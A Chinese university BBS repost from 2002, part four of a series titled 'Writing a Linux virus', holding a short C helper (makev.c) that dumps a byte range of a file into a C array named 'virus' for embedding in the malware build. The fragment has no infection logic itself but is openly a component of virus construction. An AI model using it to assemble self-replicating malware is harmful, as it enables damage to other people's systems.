荔园在线
荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: jjk (UNIX+C+XML+?? 傻了?), 信区: Linux
标 题: 写一只Linux病毒(4) makev.c(转寄)[转载]
发信站: 荔园晨风BBS站 (Wed Apr 24 18:10:06 2002), 转信
【 以下文字转载自 jjk 的信箱 】
【 原文由 jjk.bbs@apue.dhs.org 所发表 】
发信人: lgx (lgx), 信区: CompSci
标 题: 写一只Linux病毒(4) makev.c
发信站: UNIX编程 (2002年04月22日17:06:15 星期一), 站内信件
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <limits.h>
#include "virus.h"
#define DECL "static const char virus[] = {"
int main(int argc,char **argv)
{
register i;
unsigned char buf[VLEN];
lseek(0,VOFF,0);
read(0,buf,VLEN);
printf("%s",DECL);
for (i=0; i<VLEN; i++) {
if (!(i % 8))
printf("\n\t0x%02hhx,",buf[i]);
else
printf(" 0x%02hhx,",buf[i]);
}
puts("\n};\n");
return 0;
}
--
※ 来源:·UNIX编程 apue.dhs.org·[FROM: 202.108.200.52] --
※ 转寄:·UNIX编程 apue.dhs.org·[FROM: 210.39.3.50]
--
※ 转载:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.146]
[回到开始]
[上一篇][下一篇]
荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店